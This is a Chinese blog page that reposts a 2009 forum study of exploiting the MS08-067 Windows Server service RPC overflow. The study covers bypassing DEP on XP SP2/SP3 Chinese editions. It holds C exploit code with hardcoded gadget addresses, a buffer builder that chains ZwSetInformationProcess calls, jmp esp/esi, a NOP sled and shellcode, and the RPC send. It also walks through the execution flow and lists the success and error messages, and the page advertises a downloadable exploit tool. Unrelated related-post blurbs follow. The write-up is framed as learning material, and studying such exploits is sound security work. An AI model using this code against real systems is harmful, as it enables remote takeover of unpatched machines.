MS08-067通用bypass DEP的缓冲区溢出栈帧构造方法的学习

MS08-067 RPC请求缓冲区溢出漏洞利用 Windows 系统上的服务器服务中存在一个远程执行代码漏洞。 该漏洞是由于服务不正确地处理特制的 RPC 请求导致的。 成功利用此漏洞的攻击者可以完全控制受影响的系统。 影响系统 - Windows Vista - Windows 2000 Service - Windows Server 2008 - Windows Server 2003 - Windows XP 阅读详情

来自于看雪学院

标 题: 【原创】MS08-067通用bypass DEP的缓冲区溢出栈帧构造方法的学习
作 者: parachaos
时 间: 2009-02-09,12:32
链 接: http://bbs.pediy.com/showthread.php?t=81667

【题目】一种在windows xp sp2 chs 和windows xp sp3 chs 系统中通用的能够bypass DEP的利用MS08-067漏洞缓冲区溢出的栈帧构造方法的学习
【作者】ParaChAos

【前言】由于该漏洞利用的一些关键地址在windows xp的每个版本中都会变动,为了提高漏洞攻击程序的通用性和溢出的成功率,在这里讨论了一种在windows xp sp2 chs 和windows xp sp3 chs 系统中通用的栈帧的构造。

我的系统环境如下:
Windows xp sp2 chs netapi32.dll 2600.2976
Windows xp sp3 chs netapi32.dll 2600.5512

本文假定你已经掌握了缓冲区溢出的基础知识,以及MS08-067的利用方法,并不做系统性的介绍,只总结该漏洞利用的关键片段。

【目录】
本文有以下内容:
1.bypass dep方法介绍
2.关键溢出代码(改自emm的代码)
3.关键栈帧的制造
4.代码在被溢出方的执行流程

【内容】
1.bypass dep方法介绍
本文主要是针对下面这篇帖子的学习与总结。虽然不知作者是谁,但还是要表示感谢。
引用自华夏黑客联盟的一篇帖子:
“通过ret-into-libc方法编写通用exp的一个小技巧
ms07029 和ms08067这两个NB漏洞都使用ret-into-libc方法来绕过DEP数据执行保护,首先来科普下什么是ret-into- libc,一般的栈溢出控制eip后通过一些op code来跳到栈里执行shellcode,但是开启了数据执行保护的话,这种方法就不行了,那么我们只能控制eip往可以执行的地方跳,我们只能在可执 行的地方找到符合我们要求的指令,来帮我们干活,干完活后我们还需要收回控制权,那么在干活指令后必须有一个ret(n),这样我们才有可能继续控制流程 跳转到另一个地方去干下一个活,理论上,通过构造stack frame也能完成shellcode的功能。但是这只是理论上说,谁也不会傻到整个shellcode通过stack frame跳来跳去来实现,一般只是利用这个技巧去执行ZwSetInformationProcess函数来关闭DEP,然后ret(n)回去用普通的 办法执行shellcode。 科普完来到正题,以ms08067为例子,XP上可以通过上述方法来关闭DEP,但是SP2 CHS和SP3 CHS的跳转地址不一样,那么如何实现通用呢,仔细想想如果我们能利用ret-to-libc先跳到一个地址,假设这个地址在SP2系统上是 pop/pop/pop/.../ret,在SP3系统上是pop/pop/pop/pop/.../ret,只要SP2和SP3上pop的次数不一致导 致ret的时候esp不一致,那么就可以通过构造stack frame来分别跳转到各自系统的地址。有了这样一个大胆的假设后,我们需要小心的求证,随便一搜发现这样的地址很多,但是符合ms08067的具体情况 不异常的就难找了,尝试了多个地址后,功夫不负有心人,找到了一个符合要求且满足ms08067漏洞的特殊要求的地址,实现了SP2 CHS和SP3 CHS的Bypass DEP的Exp的通用(XP其他语言版本可以用类似方法)”

2.关键溢出代码
代码:
……………………………………………………………关键跳转地址,主要用来关DEP
DWORD dwDisableNXSP2 = 0x58FC16E2; //sp2 zwSetInformationProcess//noexecute
DWORD dwDisableNXSP3 = 0x58FC17C2; //sp3 zwSetInformationProcess//noexecute
DWORD dwRetAddrAll = 0x58FC094D; // pop/pop/pop/pop/ret on sp2 chs 或 ret on sp3 chs
DWORD dwJmpAddrSP3 = 0x7ffa4F54; // jmp esi
DWORD dwJmpAddrSP2 = 0x7ffa4512; // jmp esp
DWORD dwScratchAddr = 0x00020408; //占位但必须是readable address

……………………………………………………………改自EMM的代码
    RpcTryExcept
     {
     //NetpwNameCompare(L"LittleWallE",L"123456789",L"123456789",4,0);
//这个数值学自LittleWallE的分析,感谢他详细的分析
//在栈上制造 L’//’,也即 0x5c0x00
       func23(L"parachaos","/x4c/x00/x10/x20","/x4c/x00/x10/x20",4,0);
  
     memset(Buff,0,sizeof(Buff));
     BufLen = MakeBuff(Buff,sizeof(Buff));
   CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WaitExit,(LPVOID)NULL,0,&dwID);
(DWORD)*(DWORD *)Buff3 = 1;

//NetpwPathCanonicalize(arg_0,(unsigned short *)arg1,(unsigned char *)arg2,arg3,arg4,(long *)Buff3,1);
//send buff
func1f(L"EMM!",(wchar_t *)Buff,Buff2,1000,L"",(DWORD *)Buff3,1);

}
     RpcExcept ( 1 )
     {
         status = RpcExceptionCode();
     if(status == 1726)
     {
     }
     else
     {
       printf("RpcExceptionCode() = %u/r/n", status );
       return;
     }
     }
     RpcEndExcept
/*
  如果返回信息为:Make SMB Connection error:53或者Make SMB Connection error:1219,
后面的数字可能是变化的。那么说明该主机没有开机连网或者没有安装 Microsoft 网络的文件和打印机共享协议 或没有启动Server服务,因此无法进行溢出。

 还有一种情况是返回信息为:
SMB Connect OK!
RpcExceptionCode() = 1722
出现这样的情况,溢出失败,对方可能开启了防火墙。

  那么最后就是成功的提示信息了:
SMB Connect OK!
Send Payload Over!
*/

3. 关键栈帧的制造
…………………………………………………………………………
//EMM 估计的跳转地址,但是在我的机器上略有不同,所以进行了微调
代码:
#define    JMPPOINT    "B041" //emm做的地址
int MakeBuff(char *Buff, int BufLen)
{
   int len = 0;
   char tmp[5] = {0};
   int i;

//填充
   for(i = 0; i < BufLen/4; i++)
   {
     memset(tmp,0,4);
     sprintf(tmp,"B%03d",i);
//*    
     if(memcmp(tmp,JMPPOINT,4) == 0)
     {
       break;
     }
//*/
     memcpy(Buff + len,tmp,4);
     len += 4;
   }
//写溢出的字符串
memcpy(Buff,L".////a//..//..//NN",13*2);
////////////////////////
//my adjust
   len -= 6; //微调
   for(i = 0; i < 6; i++)
   {
     memcpy(Buff + len,&dwScratchAddr,4);//&dwRetAddr,4);
     len += 4;
   }
/*
   memcpy(Buff + len,&dwJmpAddr,4);
   len += 4;
*/
//   add jmp addr here
//下面这个顺序基本就是栈中的情况了,低地址在上面
   memcpy(Buff + len,&dwRetAddrAll,4); //通用跳转地址,sp2和sp3的pop数量不同
   len += 4;
   //is sp3 here
   memcpy(Buff + len,&dwDisableNXSP3,4); //sp3的bypass DEP
   len += 4;
   memcpy(Buff + len, &dwScratchAddr, 4);   ///////这里地址要求可读,pop to esi
   len += 4;
   memcpy(Buff + len, &dwJmpAddrSP3, 4);   //JMP ESI  
   len += 4;
   memcpy(Buff + len, &dwScratchAddr, 4);   //占位
   len += 4;
   memcpy(Buff + len, &dwDisableNXSP2, 4); //SP2 BYPASS DEP
   len += 4;
   memset(Buff + len, 0x48, 20); //占位
   len += 20;
   memcpy(Buff + len, &dwJmpAddrSP2, 4); //sp2 jmp   esp
   len += 4;

   memset(Buff + len,0x90,0xe);   //nop nop
   len += 0xe;

   memcpy(Buff + len,sc,sizeof(sc) - 1); //shellcode
   len += sizeof(sc) - 1;

   memcpy(Buff + len,"EMM!",4); //author’s name
   len += 4;

   memset(Buff + 0x206 * 2,0,2);   //end
   return len;
}


4.代码在被溢出方的执行流程
…………………………………………………………………………
首先来看栈中的快照
低地址在上
刚溢出时:
1)   L"//NN"
2)   某个数量的占位符
3)   通用跳转地址
4)   Sp3 bypass DEP过程地址
5)   Sp2中Pop到esi的数值
6)   Sp3中Jmp esi 的地址
7)   DWORD占位
8)   Sp2 bypass DEP过程地址
9)   20字节占位
10)   Sp2 jmp esp
11)   0xe 个的nop
12)   Shellcode
13)   ……

开始执行:
程序ret到了3)所指的通用跳转地址,程序执行流程如下:
     当在sp2 chs中时,其内容等价于pop/pop/pop/pop/ret,其中有一条pop esi,是我们需要注意控制内容的,因为在后面执行zwSetInformationProcess 这个函数时,ESI的内容必须可读,否则会发生异常。
     在3)地址的4个pop后,执行ret指令跳转到8)的bypass DEP过程的地址,调用zwSetInformationProcess关闭DEP,然后pop,retn n等指令后,进入10)的地址执行jmp esp,就跳进了11)指向的nop+shellcode中。
/////////////////////////////////////////////////////////////////////////////
     当在sp3 chs中时,3)的内容等价于ret,转到了4)的过程关闭DEP,随后有pop和ret,进入6)执行,在这里esi的值是固定的,直接指向了shellcode。
/////////////////////////////////////////////////////////////////////////////

     因为缓冲区溢出的环境要求是很严格的,差一点都不行,在实践中攻击的成功率是很低的,所以在实战中尽力提高漏洞利用程序的健壮性、通用性就显得很必要了。这也正是本文讨论的意义所在。

----------------------------------------the end-------------------------------------------
以上就是我在学习MS08-067时的一点心得,与大家分享。谬误之处请大家一定指正。

在此要对一些人表示感谢:
感谢failwest在他的书中深入浅出的讲解,帮我快速入门。

感谢LittleWallE的十分详实的分析,特别是他对netapi32.dll内问题函数的逆向分析使我获益良多。http://blog.youkuaiyun.com/LittleWallE/archive/2009/01/14/3772791.aspx

感谢EMM@ph4nt0m.org的源代码,使我对该漏洞利用有了形象的理解。

最后感谢那篇帖子,使我掌握了关DEP的方法和通用shellcode的编写思路。
MS08067漏洞完全利用动画+工具 这个漏洞不用多说了吧,利用价值比较大,实效性较强,欲下从速,估计过阵就没那么好用了,怕毒别下~好心上传还挨骂,早知道就不传了~谁知道怎么删掉自己的上传 MS08067漏洞完全利用动画+工具 立即下载

相关推荐

keil自动分配SDRAM空间设置使用

1.修改.sct文件。

qizhi321123的博客 1404

DEP bypass

Because I am using Ubuntu in English so I can't type chinese now. But here is a useful paper about bypassing DEP. I will put it here and polish this blog later.

samohyes的博客 459

Java 处理地理信息数据[DEM TIF文件数据获取高程]

EPSG 是一个国际标准,用于唯一标识地理坐标系和投影坐标系。

两点 1276

Bypass Hardware DEP Tips

<br />DEP(数据执行保护),是windows针对溢出的一种保护措施,分软dep和硬dep,其中硬dep是需要cpu支持的,比较新的处理器一般都支持这个选项,可以在bios里去打开。简单来说,就是堆栈不可执行了,所以一般的在堆栈里执行shellcode的exploit,会攻击失败。<br /><br />bypass dep也不是新东西了,目前最好的一篇文档是skape和skywing发在uninformed上的一篇。<br />http://www.uninformed.org/?v=2&a=4&t

瞎几把学 1094

飞牛NAS挂载115网盘避坑指南:为什么你的大文件总是传输失败?

本文深入解析了在飞牛NAS上通过AList挂载115网盘时,大文件传输失败的深层原因,包括风控机制、网络协议及兼容性问题。文章提供了从基础排查到高阶优化的系统性解决方案,并建议采用Kopia分片备份等终极策略,以实现稳定可靠的云端数据流转。

weixin_29306011的博客 1686

【ODX介绍】-4.2-UDS诊断$27服务在ODX-D诊断描述文件中如何描述

共25页精讲:附ODX-D XML:UDS $27 Security服务0x61和0x62 Sub-Function,其它Sub-Function可参照其格式。 目录 1 ODX-D描述一个UDS $27 Security服务Sub-Function的结构 2 标签DIAG-SERVICE描述的内容 2.1 举例:DIAG-SERVICE的XML描述 3 标签REQUEST描述的内容 3.1 举例:REQUEST的XML描述 4 标签POS-RESPONSE描述的内容 4.1 举例:PO..

「汽车电子助手」的博客 1122

BypassDEP(数据执行保护)

介绍 DEP的主要作用是阻止数据页(默认的堆,栈以及内存池页)执行代码。用来弥补计算机对数据和代码混淆这一天然缺陷的。 DEP 的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入 shellcode 时, 程序会尝试在数据页面上执行指令,此时 CPU 就会抛出异常,而不是去执行恶意指令。 Vs设置DEP 在使用VS编译的时候也有DEP选项。(VS2019示例)默认情况下是开启的。 通过右键单击项目属性–>链接器–>高级–>DEP保护。 目标程序 //******

weixin_45012273的博客 1276

SAP BOM批量反查代码分享

SAP BOM反查批量查询代码分享

我小时候很黑的博客 4972

DEP Bypass - ROP

DEP Bypass - ROP

Wonderful 963

【异常】Openclaw Gateway进程异常停止问题分析与解决方案

本文分析了Gateway服务异常停止的问题,提出了三种解决方案。核心问题是缺乏进程守护和自动恢复机制,导致服务崩溃后无法自行重启。推荐方案是使用PM2进程管理工具(方案1),提供进程监控、自动重启和开机自启功能。替代方案包括自定义守护脚本(方案2)和supervisord管理(方案3)。这些方案都能有效解决当前服务脆弱性问题,显著提升服务可用性,其中PM2方案成熟度高、配置简单,是首选解决方案。实施后可将服务从人工干预转变为自动恢复,确保业务连续性。

奶爸的编程之路,也就一周冷个三天 457

python基础:工作会用到的95%的基础python代码都在这了(万字详解!)

本文是一份Python编程语言的快速参考备忘单,涵盖了Python基础语法和常用数据类型。主要内容包括:Python入门指南(打印、变量声明)、内置数据类型(字符串、数值、列表、元组、集合、字典等)、控制结构(判断、循环)、函数定义、文件处理操作以及字符串操作方法(切片、循环遍历等)。这个备忘单特别适合初学者快速查阅Python基础语法,同时也提供了数据类型转换、f-string格式化字符串等实用技巧。通过简洁的代码示例展示了Python的基本语法规则和典型用法。

数据知道的博客 8160

告别‘脚本小子’:深入理解MS08-067漏洞利用中MSF的每个参数设置

本文深入解析MS08-067漏洞利用中Metasploit框架的参数设置与技术原理,从SMB协议交互到payload部署,揭示RHOST、LHOST等关键参数在渗透测试中的底层逻辑。特别针对Windows XP系统,详细讲解target编号与系统版本的对应关系,帮助安全研究人员超越基础利用,掌握漏洞利用的核心机制。

weixin_33726318的博客 626

手把手教你学Simulink——基于Simulink的全双工无线通信仿真建模示例

目录手把手教你学Simulink——基于Simulink的全双工无线通信仿真建模示例一、背景介绍二、所需工具和环境三、步骤详解步骤1:创建Simulink模型步骤2:设计输入信号步骤3:添加调制模块步骤4:添加自干扰消除模块步骤5:添加AWGN信道步骤6:添加接收端处理步骤7:添加解调模块步骤8:计算误码率(BER)步骤9:添加显示模块步骤10:设置仿真参数步骤11:运行仿真并分析结果四、总结 全双工(Full-Duplex)无线通信技术允许在同一频段上同时进行数据的发送和接收,这与传统的半双工(Half-

MHD0815的博客 182

Past, Present, Future of Windows Exploitation - 3

history of some not so typical windows exploits:in this section i’m going to archive some of interesting exploits i saw you can learn lots of things from them !1- one of first real-world HW-DEP 

fisher_jiang的专栏 1504

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

ROP 绕过数据执行保护(Bypass DEP)

ROP 绕过数据执行保护(Bypass DEP)

m0_74034646的博客 1227

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

ret2lib bypass dep 学习笔记(0day2Edition NtSetInformationProcess)

DEP绕过ROP(ret2lib)技术总结样本空间测试环境 操作系统:windows xp sp3 工具:immunity debugger 样本源码: #include <stdio.h> #include <string.h> #include <windows.h> char shellcode[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x

Catch me if you can 2543

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

Windows 缓冲区溢出与数据执行保护DEP

缓冲区溢出与数据执行保护DEP介绍先看一个缓冲区溢出的C++实例程序,代码如下(VC6.0下编译通过): //by MoreWindows #include #include #include #include #include void foo(const char *input) { char buf[4]; //buf 占4字节,后4字节为ebp,再后4个字节为返回地址。

MoreWindows Blog 2万+

bypass dep egg hunter

https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/ #------------------------------------------------------------------- #corelanc0

thesum的专栏 795

ms08-067漏洞 远程溢出入侵测试

被攻击者IP地址:192.168.9.4,操作系统Windows XP sp3 English 攻击者IP地址:192.168.9.1   //查看数据库连接状态 msf &gt; db_status [*] postgresql connected to msf3 //使用nmap扫描目标机器 msf &gt; db_nmap -sS -sV -O --script=smb-check...

十年磨一剑,霜刃未曾试! 3万+

解决问题:com.alibaba.dubbo.rpc.RpcException

严重: Servlet.service() for servlet [springmvc] in context with path [] threw exception [Request processing failed; nested exception is com.alibaba.dubbo.rpc.RpcException: Failed to invoke the method fi...

qq_38484548的博客 2389

MS08-067漏洞分析与复现

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言 一、pandas是什么? 二、使用步骤 1.引入库 2.读入数据 总结 前言 提示:这里可以添加本文要记录的大概内容: 例如:随着人工智能的不断发展,机器学习这门技术也越来越重要,很多人都开启了学习机器学习,本文就介绍了机器学习的基础内容。 提示:以下是本篇文章正文内容,下面案例可供参考 一、pandas是什么? 示例:pandas 是基于NumPy 的一种工具,该工具是为了解决数据.

qq_43443410的博客 3800

栈溢出的经典代码

<br />一个栈溢出的经典代码<br /> <br />#include <stdio.h><br />#include <string.h><br />void overflow(char* buf)<br />{<br /> char des[5]="";<br /> strcpy(des,buf);<br /> return;<br />}<br />void main()<br />{<br /> char longbuf[100]="aaaaaabbbbbccccc";<br /> overfl

十年磨一剑,霜刃未曾试! 2047

【数据结构-5】单链表的实现

单链表,具体来说是单向的、不带头的、不循环的链表。链表由一个一个节点组成,每个节点分为数据域和指针域,数据域存放数据,指针域存放下一节点的地址。这样,就可以根据指针域中的地址找到下一个节点,节点就串起来了构成了单链表。

weixin_44218929的博客 186
JL2SH
博客等级 码龄19年 0粉丝 0原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值